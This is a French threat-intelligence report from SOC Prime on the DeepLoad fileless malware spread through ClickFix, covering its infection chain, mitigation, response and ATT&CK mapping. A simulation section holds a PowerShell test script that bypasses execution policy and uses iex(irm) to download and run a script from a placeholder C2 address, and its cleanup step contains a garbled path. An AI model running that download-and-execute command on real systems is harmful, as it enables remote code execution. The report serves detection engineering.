SOC Prime Bias: Moyen

07 Avr 2026 18:16

Le Malware DeepLoad Associe la Livraison ClickFix à l’Évasion Générée par IA

Author Photo
Ruslan Mikhalov Chef de la Recherche sur les Menaces chez SOC Prime linkedin icon Suivre
Le Malware DeepLoad Associe la Livraison ClickFix à l’Évasion Générée par IA
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

DeepLoad est une famille de malwares sans fichier distribuée via l’ingénierie sociale ClickFix. Il repose sur un chargeur PowerShell obfusqué, une injection de shellcode en mémoire dans des processus Windows de confiance, et un « bruit » généré par l’IA pour réduire la fidélité de la détection statique. Le chargeur établit la persistance en utilisant une tâche planifiée et des abonnements à des événements WMI, peut se propager via des supports USB, et vole des identifiants via une extension de navigateur malveillante et un composant filemanager.exe associé.

Enquête

Le rapport décrit l’accès initial commençant par une commande PowerShell exécutée par la victime, suivie d’une récupération du chargeur via mshta.exe. Le chargeur utilise Add-Type pour générer un DLL temporaire à l’exécution, puis injecte du shellcode dans LockAppHost.exe en utilisant l’injection basée sur APC. La persistance est maintenue par une tâche planifiée et un abonnement à un événement WMI dissimulé capable de rétablir l’infection même après le nettoyage, avec une fenêtre de délai d’environ trois jours. Le vol d’identifiants est attribué à filemanager.exe avec une extension de navigateur malveillante fonctionnant en parallèle.

Mitigation

Activer Journalisation des blocs de scripts PowerShell et alerter sur les chaînes d’exécution PowerShell suspectes. Auditez l’activité réseau sortante de mshta.exe, surveillez la création inattendue de tâches planifiées, et détectez l’utilisation anormale de QueueUserAPC indicative d’une injection APC. Lors de la remédiation, énumérez explicitement et supprimez les abonnements à des événements WMI au lieu de vous fier uniquement au nettoyage des fichiers/registres. Faites pivoter les identifiants exposés et retirez toute extension de navigateur non autorisée pour couper les chemins de collecte d’identifiants.

Réponse

Si une activité DeepLoad est détectée, isolez l’hôte, arrêtez l’activité PowerShell malveillante et résiliez tous les processus injectés. Retirez la tâche planifiée et supprimez l’abonnement WMI associé, puis éradiquer filemanager.exe et l’extension de navigateur malveillante. Faites pivoter tous les identifiants potentiellement compromis, assainissez tout média USB connecté, et validez le système pour détecter les artefacts d’injection résiduels avant de le remettre en service.

Mots-clés : DeepLoad, ClickFix, malware sans fichier, chargeur PowerShell, mshta.exe, Add-Type, shellcode en mémoire, injection APC, QueueUserAPC, LockAppHost.exe, persistance par tâche planifiée, abonnement à des événements WMI, propagation par USB, extension de navigateur malveillante, vol d’identifiants.

"graph TB %% Class definitions classDef action fill:#99ccff %% Node definitions step_user_exec["<b>Action</b> – <b>T1204.004 Exécution par l’utilisateur : Copier-coller malveillant</b><br/>La victime exécute une commande PowerShell via ClickFix."] class step_user_exec action step_powershell["<b>Action</b> – <b>T1059.001 Interpréteur de commandes et de scripts : PowerShell</b><br/>Télécharge le chargeur en utilisant Invokeu2011Expression (IEX)."] class step_powershell action step_mshta["<b>Action</b> – <b>T1218.005 Exécution de proxy de binaire système : Mshta</b><br/>mshta.exe récupère le script distant."] class step_mshta action step_schtask["<b>Action</b> – <b>T1053 Tâche ou Job planifié(e)</b><br/>Crée une tâche de persistance pour reu2011exécuter le chargeur."] class step_schtask action step_injection["<b>Action</b> – <b>T1055.004 Injection de processus : Appel de procédure asynchrone</b><br/>Injecte du shellcode dans LockAppHost.exe."] class step_injection action step_reflective["<b>Action</b> – <b>T1620 Chargement de code réflexif</b><br/>Compile un DLL en mémoire via Addu2011Type."] class step_reflective action step_masquerade["<b>Action</b> – <b>T1036.003 Déguisement : Renommer des utilitaires légitimes</b><br/>Utilise filemanager.exe et des raccourcis .lnk."] class step_masquerade action step_removable["<b>Action</b> – <b>T1091 Réplication via des médias amovibles / T1080 Infection des contenus partagés</b><br/>Dépose des raccourcis malveillants sur des clés USB."] class step_removable action step_wmi["<b>Action</b> – <b>T1546.003 Exécution déclenchée par un événement : Abonnement à des événements WMI</b><br/>Persiste et reu2011exécute après le nettoyage."] class step_wmi action step_keylog["<b>Action</b> – <b>T1056.001 Capture d’entrée : Keylogging</b><br/>Capture les frappes de touches pour les identifiants."] class step_keylog action step_cred["<b>Action</b> – <b>T1555.003 Identifiants provenant des navigateurs Web / T1176 Extensions logicielles</b><br/>L’extension de navigateur malveillante vole les mots de passe stockés."] class step_cred action step_valid["<b>Action</b> – <b>T1078 Comptes valides</b><br/>L’attaquant utilise les identifiants récoltés."] class step_valid action step_c2["<b>Action</b> – <b>T1102.002 Communication bidirectionnelle avec un service Web / T1102.003 Oneu2011Way</b><br/>Canal C2 et exfiltration."] class step_c2 action %% Connections step_user_exec –>|déclenche| step_powershell step_powershell –>|télécharge via| step_mshta step_mshta –>|exécute| step_schtask step_schtask –>|crée| step_injection step_injection –>|injecte dans| step_reflective step_reflective –>|charge| step_masquerade step_masquerade –>|place des raccourcis sur| step_removable step_removable –>|active| step_wmi step_wmi –>|active| step_keylog step_keylog –>|capture les identifiants pour| step_cred step_cred –>|fournit| step_valid step_valid –>|facilite| step_c2 "

Flux d’attaque

Exécution de simulation

Prérequis : Le contrôle préalable de la télémétrie et de la ligne de base doit avoir été passé.

Justification : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer la télémétrie exacte attendue par la logique de détection. Des exemples abstraits ou non liés entraîneront des erreurs de diagnostic.

  • Narration et commandes de l’attaque :

    1. Pied-à-terre initial : L’attaquant dispose d’une session PowerShell à faible privilège sur la machine hôte de la victime.
    2. Contourner la politique d’exécution : Ils invoquent PowerShell avec -ep Bypass pour ignorer toute restriction d’exécution de script.
    3. Compiler un payload .NET : En utilisant Add-Type, ils intègrent une petite classe C# qui, lorsqu’elle est instanciée, effectue une requête web au serveur C2 (http://10.0.0.5:3015/index).
    4. Télécharger et exécuter un script distant : L’attaquant transfère le résultat de irm (Invoke‑RestMethod) dans iex, exécutant le script malveillant en mémoire.
    5. Télémétrie résultante : La ligne de commande enregistrée par le système d’exploitation contient les trois chaînes requises (-ep Bypass, Add-Type, iex(irm http://…:3015/index)), satisfaisant la règle Sigma.
  • Script de test de régression :

    # Exécution malveillante type DeepLoad
    # Ce script reproduit le modèle de commande exact requis pour déclencher la règle Sigma.
    $c2 = "http://10.0.0.5:3015/index"
    $payload = @"
    using System;
    using System.Net;
    public class Loader {
    public static void Run() {
        new WebClient().DownloadString(""$c2"");
    }
    }
    "@
    # Invoquer PowerShell avec le drapeau de contournement, compiler le payload, puis exécuter le script distant
    powershell -NoProfile -ExecutionPolicy Bypass -Command `
        "Add-Type -TypeDefinition `$payload; `
         iex (irm $c2)"
  • Commandes de nettoyage :

    # Supprimer tous les fichiers temporaires ou les assemblages chargés (si persistants)
    Remove-Item -Path "$env:TEMPloader.dll" -ErrorAction SilentlyContinue
    # Facultativement, effacer la transcription PowerShell (si activée)
    Clear-Host

Fin du rapport